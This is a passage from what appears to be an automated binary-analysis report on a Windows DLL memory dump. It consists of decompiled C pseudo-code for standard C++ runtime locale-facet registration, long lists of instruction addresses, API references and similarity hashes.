													 *0x6ddd6df8 = _t596;
													goto L19;
												}
											} else {
												_t596 = _t611;
												goto L19;
											}
										}
									} else {
										_t595 =  *(_t638 - 0x10);
										 *(_t638 - 0x10) = _t595;
										 *(_t638 - 4) = 1;
										E6DD16FD3(__eflags, _t595);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t595 + 4))))();
										 *0x6ddd6dc0 = _t595;
										goto L12;
									}
								} else {
									_t595 = _t610;
									goto L12;
								}
							}
						} else {
							_t594 =  *(_t638 - 0x10);
							 *(_t638 - 0x10) = _t594;
							 *(_t638 - 4) = 1;
							E6DD16FD3(__eflags, _t594);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t594 + 4))))();
							 *0x6ddd6df0 = _t594;
							goto L5;
						}
					} else {
						_t594 = _t609;
						goto L5;
					}
				}
			}

0x6dd1f41b
0x6dd1f41b
0x6dd1f422
0x6dd1f42c
0x6dd1f431
0x6dd1f43c
0x6dd1f440
0x6dd1f443
0x6dd1f448
0x6dd1f44c
0x6dd1f451
0x6dd1f455
0x6dd1f49a
0x6dd1f49d
0x6dd1f4a9
0x6dd1f457
0x6dd1f459
0x6dd1f45f
0x6dd1f465
0x6dd1f46d
0x6dd1f470
0x6dd1f4ad
0x6dd1f4bb
0x6dd1f4c0
0x6dd1f4c8
0x6dd1f4d2
0x6dd1f4d7
0x6dd1f4e2
0x6dd1f4e6
0x6dd1f4e9
0x6dd1f4ee
0x6dd1f4f7
0x6dd1f4f9
0x6dd1f4fb
0x6dd1f540
0x6dd1f543
0x6dd1f54f
0x6dd1f4fd
0x6dd1f4fd
0x6dd1f4ff
0x6dd1f505
0x6dd1f50b
0x6dd1f513
0x6dd1f516
0x6dd1f553
0x6dd1f561
0x6dd1f566
0x6dd1f56e
0x6dd1f578
0x6dd1f57d
0x6dd1f588
0x6dd1f58c
0x6dd1f58f
0x6dd1f594
0x6dd1f59d
0x6dd1f59f
0x6dd1f5a1
0x6dd1f5e6
0x6dd1f5e9
0x6dd1f5f5
0x6dd1f5a3
0x6dd1f5a3
0x6dd1f5a5
0x6dd1f5ab
0x6dd1f5b1
0x6dd1f5b9
0x6dd1f5bc
0x6dd1f5f9
0x6dd1f607
0x6dd1f60c
0x6dd1f614
0x6dd1f61e
0x6dd1f623
0x6dd1f62e
0x6dd1f632
0x6dd1f635
0x6dd1f63a
0x6dd1f643
0x6dd1f645
0x6dd1f647
0x6dd1f68c
0x6dd1f68f
0x6dd1f69b
0x6dd1f649
0x6dd1f649
0x6dd1f64b
0x6dd1f651
0x6dd1f657
0x6dd1f65f
0x6dd1f662
0x6dd1f69f
0x6dd1f6ad
0x6dd1f6b2
0x6dd1f6ba
0x6dd1f6c4
0x6dd1f6c9
0x6dd1f6d4
0x6dd1f6d8
0x6dd1f6db
0x6dd1f6e0
0x6dd1f6e9
0x6dd1f6eb
0x6dd1f6ed
0x6dd1f732
0x6dd1f735
0x6dd1f741
0x6dd1f6ef
0x6dd1f6ef
0x6dd1f6f1
0x6dd1f6f7
0x6dd1f6fd
0x6dd1f705
0x6dd1f708
0x6dd1f745
0x6dd1f753
0x6dd1f758
0x6dd1f760
0x6dd1f76a
0x6dd1f76f
0x6dd1f77a
0x6dd1f77e
0x6dd1f781
0x6dd1f786
0x6dd1f78f
0x6dd1f791
0x6dd1f793
0x6dd1f7d8
0x6dd1f7db
0x6dd1f7e7
0x6dd1f795
0x6dd1f795
0x6dd1f797
0x6dd1f79d
0x6dd1f7a3
0x6dd1f7ab
0x6dd1f7ae
0x6dd1f7eb
0x6dd1f7f9
0x6dd1f7fe
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f835
0x6dd1f837
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
0x6dd1fd02
0x00000000
0x6dd1fd02
0x6dd1fcc9
0x6dd1fcc9
0x00000000
0x6dd1fcc9
0x6dd1fcc7
0x6dd1fc3a
0x6dd1fc3a
0x6dd1fc3d
0x6dd1fc41
0x6dd1fc45
0x6dd1fc52
0x6dd1fc5a
0x6dd1fc5c
0x00000000
0x6dd1fc5c
0x6dd1fc23
0x6dd1fc23
0x00000000
0x6dd1fc23
0x6dd1fc21
0x6dd1fb94
0x6dd1fb94
0x6dd1fb97
0x6dd1fb9b
0x6dd1fb9f
0x6dd1fbac
0x6dd1fbb4
0x6dd1fbb6
0x00000000
0x6dd1fbb6
0x6dd1fb7d
0x6dd1fb7d
0x00000000
0x6dd1fb7d
0x6dd1fb7b
0x6dd1faee
0x6dd1faee
0x6dd1faf1
0x6dd1faf5
0x6dd1faf9
0x6dd1fb06
0x6dd1fb0e
0x6dd1fb10
0x00000000
0x6dd1fb10
0x6dd1fad7
0x6dd1fad7
0x00000000
0x6dd1fad7
0x6dd1fad5
0x6dd1fa48
0x6dd1fa48
0x6dd1fa4b
0x6dd1fa4f
0x6dd1fa53
0x6dd1fa60
0x6dd1fa68
0x6dd1fa6a
0x00000000
0x6dd1fa6a
0x6dd1fa31
0x6dd1fa31
0x00000000
0x6dd1fa31
0x6dd1fa2f
0x6dd1f9a2
0x6dd1f9a2
0x6dd1f9a5
0x6dd1f9a9
0x6dd1f9ad
0x6dd1f9ba
0x6dd1f9c2
0x6dd1f9c4
0x00000000
0x6dd1f9c4
0x6dd1f98b
0x6dd1f98b
0x00000000
0x6dd1f98b
0x6dd1f989
0x6dd1f8fc
0x6dd1f8fc
0x6dd1f8ff
0x6dd1f903
0x6dd1f907
0x6dd1f914
0x6dd1f91c
0x6dd1f91e
0x00000000
0x6dd1f91e
0x6dd1f8e5
0x6dd1f8e5
0x00000000
0x6dd1f8e5
0x6dd1f8e3
0x6dd1f856
0x6dd1f856
0x6dd1f859
0x6dd1f85d
0x6dd1f861
0x6dd1f86e
0x6dd1f876
0x6dd1f878
0x00000000
0x6dd1f878
0x6dd1f83f
0x6dd1f83f
0x00000000
0x6dd1f83f
0x6dd1f83d
0x6dd1f7b0
0x6dd1f7b0
0x6dd1f7b3
0x6dd1f7b7
0x6dd1f7bb
0x6dd1f7c8
0x6dd1f7d0
0x6dd1f7d2
0x00000000
0x6dd1f7d2
0x6dd1f799
0x6dd1f799
0x00000000
0x6dd1f799
0x6dd1f797
0x6dd1f70a
0x6dd1f70a
0x6dd1f70d
0x6dd1f711
0x6dd1f715
0x6dd1f722
0x6dd1f72a
0x6dd1f72c
0x00000000
0x6dd1f72c
0x6dd1f6f3
0x6dd1f6f3
0x00000000
0x6dd1f6f3
0x6dd1f6f1
0x6dd1f664
0x6dd1f664
0x6dd1f667
0x6dd1f66b
0x6dd1f66f
0x6dd1f67c
0x6dd1f684
0x6dd1f686
0x00000000
0x6dd1f686
0x6dd1f64d
0x6dd1f64d
0x00000000
0x6dd1f64d
0x6dd1f64b
0x6dd1f5be
0x6dd1f5be
0x6dd1f5c1
0x6dd1f5c5
0x6dd1f5c9
0x6dd1f5d6
0x6dd1f5de
0x6dd1f5e0
0x00000000
0x6dd1f5e0
0x6dd1f5a7
0x6dd1f5a7
0x00000000
0x6dd1f5a7
0x6dd1f5a5
0x6dd1f518
0x6dd1f518
0x6dd1f51b
0x6dd1f51f
0x6dd1f523
0x6dd1f530
0x6dd1f538
0x6dd1f53a
0x00000000
0x6dd1f53a
0x6dd1f501
0x6dd1f501
0x00000000
0x6dd1f501
0x6dd1f4ff
0x6dd1f472
0x6dd1f472
0x6dd1f475
0x6dd1f479
0x6dd1f47d
0x6dd1f48a
0x6dd1f492
0x6dd1f494
0x00000000
0x6dd1f494
0x6dd1f45b
0x6dd1f45b
0x00000000
0x6dd1f45b
0x6dd1f459

APIs

__EH_prolog3.LIBCMT ref: 6DD1F422
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F42C
int.LIBCPMT ref: 6DD1F443

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F47D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F49D
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F4BB

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 93f7888d80c5ba636b95b8a6f9bf62a2523e3bc5e94afd0ae8f1f2fcdb73a802
Instruction ID: 0e56e0d8e4420a6541fc7073b9077dcff61c31c7e4c4b6a3ab127ec5044e42c0
Opcode Fuzzy Hash: 93f7888d80c5ba636b95b8a6f9bf62a2523e3bc5e94afd0ae8f1f2fcdb73a802
Instruction Fuzzy Hash: 3711E072908129DBCF01FBA4DC50AFDB775FF85324F164009F611AB290DB7099058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F7FF, Relevance: 9.1, APIs: 6, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1F7FF(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t125;
				signed int _t126;
				void* _t138;
				void* _t151;
				void* _t164;
				void* _t177;
				void* _t190;
				void* _t203;
				void* _t216;
				signed int _t321;
				signed int _t349;
				signed int _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t360;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				void* _t374;

				_t346 = __edx;
				_t265 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t374 - 0x14, 0);
				_t357 =  *0x6ddd6dd8; // 0x0
				 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
				 *(_t374 - 0x10) = _t357;
				_t125 = E6DCF161C(0x6ddd6d84);
				_t268 =  *((intOrPtr*)(_t374 + 8));
				_t126 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t125);
				_t348 = _t126;
				if(_t126 != 0) {
					L5:
					E6DD166BA(_t374 - 0x14);
					return E6DD30075(_t348);
				} else {
					if(_t357 == 0) {
						_push( *((intOrPtr*)(_t374 + 8)));
						_push(_t374 - 0x10);
						__eflags = E6DD21339(__ebx, _t268, __edx, _t348, _t357) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t374 - 0x20);
							E6DD33D74(_t374 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t348, _t357, 0x14);
							E6DD16653(_t374 - 0x14, 0);
							_t358 =  *0x6ddd6db0; // 0x0
							 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
							 *(_t374 - 0x10) = _t358;
							_t138 = E6DCF161C(0x6ddd6d64);
							_t275 =  *((intOrPtr*)(_t374 + 8));
							_t349 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t138);
							__eflags = _t349;
							if(_t349 != 0) {
								L12:
								E6DD166BA(_t374 - 0x14);
								return E6DD30075(_t349);
							} else {
								__eflags = _t358;
								if(_t358 == 0) {
									_push( *((intOrPtr*)(_t374 + 8)));
									_push(_t374 - 0x10);
									__eflags = E6DD213A1(_t265, _t275, __edx, _t349, _t358) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t374 - 0x20);
										E6DD33D74(_t374 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t265, _t349, _t358, 0x14);
										E6DD16653(_t374 - 0x14, 0);
										_t359 =  *0x6ddd6ddc; // 0x0
										 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
										 *(_t374 - 0x10) = _t359;
										_t151 = E6DCF161C(0x6ddd6d88);
										_t282 =  *((intOrPtr*)(_t374 + 8));
										_t350 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t151);
										__eflags = _t350;
										if(_t350 != 0) {
											L19:
											E6DD166BA(_t374 - 0x14);
											return E6DD30075(_t350);
										} else {
											__eflags = _t359;
											if(_t359 == 0) {
												_push( *((intOrPtr*)(_t374 + 8)));
												_push(_t374 - 0x10);
												__eflags = E6DD21409(_t265, _t282, __edx, _t350, _t359) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t374 - 0x20);
													E6DD33D74(_t374 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t265, _t350, _t359, 0x14);
													E6DD16653(_t374 - 0x14, 0);
													_t360 =  *0x6ddd6de0; // 0x0
													 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
													 *(_t374 - 0x10) = _t360;
													_t164 = E6DCF161C(0x6ddd6d8c);
													_t289 =  *((intOrPtr*)(_t374 + 8));
													_t351 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t164);
													__eflags = _t351;
													if(_t351 != 0) {
														L26:
														E6DD166BA(_t374 - 0x14);
														return E6DD30075(_t351);
													} else {
														__eflags = _t360;
														if(_t360 == 0) {
															_push( *((intOrPtr*)(_t374 + 8)));
															_push(_t374 - 0x10);
															__eflags = E6DD21471(_t265, _t289, _t346, _t351, _t360) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t374 - 0x20);
																E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t265, _t351, _t360, 0x14);
																E6DD16653(_t374 - 0x14, 0);
																_t361 =  *0x6ddd6dfc; // 0x0
																 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																 *(_t374 - 0x10) = _t361;
																_t177 = E6DCF161C(0x6ddd6da8);
																_t296 =  *((intOrPtr*)(_t374 + 8));
																_t352 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t177);
																__eflags = _t352;
																if(_t352 != 0) {
																	L33:
																	E6DD166BA(_t374 - 0x14);
																	return E6DD30075(_t352);
																} else {
																	__eflags = _t361;
																	if(_t361 == 0) {
																		_push( *((intOrPtr*)(_t374 + 8)));
																		_push(_t374 - 0x10);
																		__eflags = E6DD214EC(_t265, _t296, _t346, _t352, _t361) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t374 - 0x20);
																			E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t265, _t352, _t361, 0x14);
																			E6DD16653(_t374 - 0x14, 0);
																			_t362 =  *0x6ddd6dcc; // 0x0
																			 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																			 *(_t374 - 0x10) = _t362;
																			_t190 = E6DCF161C(0x6ddd6d80);
																			_t303 =  *((intOrPtr*)(_t374 + 8));
																			_t353 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t190);
																			__eflags = _t353;
																			if(_t353 != 0) {
																				L40:
																				E6DD166BA(_t374 - 0x14);
																				return E6DD30075(_t353);
																			} else {
																				__eflags = _t362;
																				if(_t362 == 0) {
																					_push( *((intOrPtr*)(_t374 + 8)));
																					_push(_t374 - 0x10);
																					__eflags = E6DD21558(_t265, _t303, _t346, _t353, _t362) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t374 - 0x20);
																						E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t265, _t353, _t362, 0x14);
																						E6DD16653(_t374 - 0x14, 0);
																						_t363 =  *0x6ddd6e00; // 0x0
																						 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																						 *(_t374 - 0x10) = _t363;
																						_t203 = E6DCF161C(0x6ddd6dac);
																						_t310 =  *((intOrPtr*)(_t374 + 8));
																						_t354 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t203);
																						__eflags = _t354;
																						if(_t354 != 0) {
																							L47:
																							E6DD166BA(_t374 - 0x14);
																							return E6DD30075(_t354);
																						} else {
																							__eflags = _t363;
																							if(_t363 == 0) {
																								_push( *((intOrPtr*)(_t374 + 8)));
																								_push(_t374 - 0x10);
																								__eflags = E6DD215C4(_t265, _t310, _t346, _t354, _t363) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t374 - 0x20);
																									E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t265, _t354, _t363, 0x14);
																									E6DD16653(_t374 - 0x14, 0);
																									_t364 =  *0x6ddd6dd0; // 0x0
																									 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																									 *(_t374 - 0x10) = _t364;
																									_t216 = E6DCF161C(0x6ddd6d60);
																									_t317 =  *((intOrPtr*)(_t374 + 8));
																									_t355 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t216);
																									__eflags = _t355;
																									if(_t355 != 0) {
																										L54:
																										E6DD166BA(_t374 - 0x14);
																										return E6DD30075(_t355);
																									} else {
																										__eflags = _t364;
																										if(_t364 == 0) {
																											_push( *((intOrPtr*)(_t374 + 8)));
																											_push(_t374 - 0x10);
																											__eflags = E6DD2162A(_t265, _t317, _t346, _t355, _t364) - 0xffffffff;
																											if(__eflags == 0) {
																												_t321 = _t374 - 0x20;
																												E6DCF1438(_t321);
																												E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd7851f, _t265, _t355, _t364, 4);
																												_t365 = _t321;
																												 *(_t374 - 0x10) = _t365;
																												 *((intOrPtr*)(_t365 + 4)) =  *((intOrPtr*)(_t374 + 0xc));
																												_push( *((intOrPtr*)(_t374 + 0x14)));
																												_t119 = _t374 - 4;
																												 *_t119 =  *(_t374 - 4) & 0x00000000;
																												__eflags =  *_t119;
																												 *_t365 = 0x6dd7c0c4;
																												 *((char*)(_t365 + 0x28)) =  *((intOrPtr*)(_t374 + 0x10));
																												E6DD2542F(_t265, _t321, _t346, _t355, _t365,  *_t119);
																												return E6DD30075(_t365,  *((intOrPtr*)(_t374 + 8)));
																											} else {
																												_t355 =  *(_t374 - 0x10);
																												 *(_t374 - 0x10) = _t355;
																												 *(_t374 - 4) = 1;
																												E6DD16FD3(__eflags, _t355);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t355 + 4))))();
																												 *0x6ddd6dd0 = _t355;
																												goto L54;
																											}
																										} else {
																											_t355 = _t364;
																											goto L54;
																										}
																									}
																								} else {
																									_t354 =  *(_t374 - 0x10);
																									 *(_t374 - 0x10) = _t354;
																									 *(_t374 - 4) = 1;
																									E6DD16FD3(__eflags, _t354);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t354 + 4))))();
																									 *0x6ddd6e00 = _t354;
																									goto L47;
																								}
																							} else {
																								_t354 = _t363;
																								goto L47;
																							}
																						}
																					} else {
																						_t353 =  *(_t374 - 0x10);
																						 *(_t374 - 0x10) = _t353;
																						 *(_t374 - 4) = 1;
																						E6DD16FD3(__eflags, _t353);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t353 + 4))))();
																						 *0x6ddd6dcc = _t353;
																						goto L40;
																					}
																				} else {
																					_t353 = _t362;
																					goto L40;
																				}
																			}
																		} else {
																			_t352 =  *(_t374 - 0x10);
																			 *(_t374 - 0x10) = _t352;
																			 *(_t374 - 4) = 1;
																			E6DD16FD3(__eflags, _t352);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t352 + 4))))();
																			 *0x6ddd6dfc = _t352;
																			goto L33;
																		}
																	} else {
																		_t352 = _t361;
																		goto L33;
																	}
																}
															} else {
																_t351 =  *(_t374 - 0x10);
																 *(_t374 - 0x10) = _t351;
																 *(_t374 - 4) = 1;
																E6DD16FD3(__eflags, _t351);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t351 + 4))))();
																 *0x6ddd6de0 = _t351;
																goto L26;
															}
														} else {
															_t351 = _t360;
															goto L26;
														}
													}
												} else {
													_t350 =  *(_t374 - 0x10);
													 *(_t374 - 0x10) = _t350;
													 *(_t374 - 4) = 1;
													E6DD16FD3(__eflags, _t350);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t350 + 4))))();
													 *0x6ddd6ddc = _t350;
													goto L19;
												}
											} else {
												_t350 = _t359;
												goto L19;
											}
										}
									} else {
										_t349 =  *(_t374 - 0x10);
										 *(_t374 - 0x10) = _t349;
										 *(_t374 - 4) = 1;
										E6DD16FD3(__eflags, _t349);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t349 + 4))))();
										 *0x6ddd6db0 = _t349;
										goto L12;
									}
								} else {
									_t349 = _t358;
									goto L12;
								}
							}
						} else {
							_t348 =  *(_t374 - 0x10);
							 *(_t374 - 0x10) = _t348;
							 *(_t374 - 4) = 1;
							E6DD16FD3(__eflags, _t348);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t348 + 4))))();
							 *0x6ddd6dd8 = _t348;
							goto L5;
						}
					} else {
						_t348 = _t357;
						goto L5;
					}
				}
			}

0x6dd1f7ff
0x6dd1f7ff
0x6dd1f806
0x6dd1f810
0x6dd1f815
0x6dd1f820
0x6dd1f824
0x6dd1f827
0x6dd1f82c
0x6dd1f830
0x6dd1f835
0x6dd1f839
0x6dd1f87e
0x6dd1f881
0x6dd1f88d
0x6dd1f83b
0x6dd1f83d
0x6dd1f843
0x6dd1f849
0x6dd1f851
0x6dd1f854
0x6dd1f891
0x6dd1f89f
0x6dd1f8a4
0x6dd1f8ac
0x6dd1f8b6
0x6dd1f8bb
0x6dd1f8c6
0x6dd1f8ca
0x6dd1f8cd
0x6dd1f8d2
0x6dd1f8db
0x6dd1f8dd
0x6dd1f8df
0x6dd1f924
0x6dd1f927
0x6dd1f933
0x6dd1f8e1
0x6dd1f8e1
0x6dd1f8e3
0x6dd1f8e9
0x6dd1f8ef
0x6dd1f8f7
0x6dd1f8fa
0x6dd1f937
0x6dd1f945
0x6dd1f94a
0x6dd1f952
0x6dd1f95c
0x6dd1f961
0x6dd1f96c
0x6dd1f970
0x6dd1f973
0x6dd1f978
0x6dd1f981
0x6dd1f983
0x6dd1f985
0x6dd1f9ca
0x6dd1f9cd
0x6dd1f9d9
0x6dd1f987
0x6dd1f987
0x6dd1f989
0x6dd1f98f
0x6dd1f995
0x6dd1f99d
0x6dd1f9a0
0x6dd1f9dd
0x6dd1f9eb
0x6dd1f9f0
0x6dd1f9f8
0x6dd1fa02
0x6dd1fa07
0x6dd1fa12
0x6dd1fa16
0x6dd1fa19
0x6dd1fa1e
0x6dd1fa27
0x6dd1fa29
0x6dd1fa2b
0x6dd1fa70
0x6dd1fa73
0x6dd1fa7f
0x6dd1fa2d
0x6dd1fa2d
0x6dd1fa2f
0x6dd1fa35
0x6dd1fa3b
0x6dd1fa43
0x6dd1fa46
0x6dd1fa83
0x6dd1fa91
0x6dd1fa96
0x6dd1fa9e
0x6dd1faa8
0x6dd1faad
0x6dd1fab8
0x6dd1fabc
0x6dd1fabf
0x6dd1fac4
0x6dd1facd
0x6dd1facf
0x6dd1fad1
0x6dd1fb16
0x6dd1fb19
0x6dd1fb25
0x6dd1fad3
0x6dd1fad3
0x6dd1fad5
0x6dd1fadb
0x6dd1fae1
0x6dd1fae9
0x6dd1faec
0x6dd1fb29
0x6dd1fb37
0x6dd1fb3c
0x6dd1fb44
0x6dd1fb4e
0x6dd1fb53
0x6dd1fb5e
0x6dd1fb62
0x6dd1fb65
0x6dd1fb6a
0x6dd1fb73
0x6dd1fb75
0x6dd1fb77
0x6dd1fbbc
0x6dd1fbbf
0x6dd1fbcb
0x6dd1fb79
0x6dd1fb79
0x6dd1fb7b
0x6dd1fb81
0x6dd1fb87
0x6dd1fb8f
0x6dd1fb92
0x6dd1fbcf
0x6dd1fbdd
0x6dd1fbe2
0x6dd1fbea
0x6dd1fbf4
0x6dd1fbf9
0x6dd1fc04
0x6dd1fc08
0x6dd1fc0b
0x6dd1fc10
0x6dd1fc19
0x6dd1fc1b
0x6dd1fc1d
0x6dd1fc62
0x6dd1fc65
0x6dd1fc71
0x6dd1fc1f
0x6dd1fc1f
0x6dd1fc21
0x6dd1fc27
0x6dd1fc2d
0x6dd1fc35
0x6dd1fc38
0x6dd1fc75
0x6dd1fc83
0x6dd1fc88
0x6dd1fc90
0x6dd1fc9a
0x6dd1fc9f
0x6dd1fcaa
0x6dd1fcae
0x6dd1fcb1
0x6dd1fcb6
0x6dd1fcbf
0x6dd1fcc1
0x6dd1fcc3
0x6dd1fd08
0x6dd1fd0b
0x6dd1fd17
0x6dd1fcc5
0x6dd1fcc5
0x6dd1fcc7
0x6dd1fccd
0x6dd1fcd3
0x6dd1fcdb
0x6dd1fcde
0x6dd1fd18
0x6dd1fd1b
0x6dd1fd29
0x6dd1fd2e
0x6dd1fd36
0x6dd1fd3b
0x6dd1fd3d
0x6dd1fd43
0x6dd1fd46
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd4f
0x6dd1fd53
0x6dd1fd59
0x6dd1fd5c
0x6dd1fd68
0x6dd1fce0
0x6dd1fce0
0x6dd1fce3
0x6dd1fce7
0x6dd1fceb
0x6dd1fcf8
0x6dd1fd00
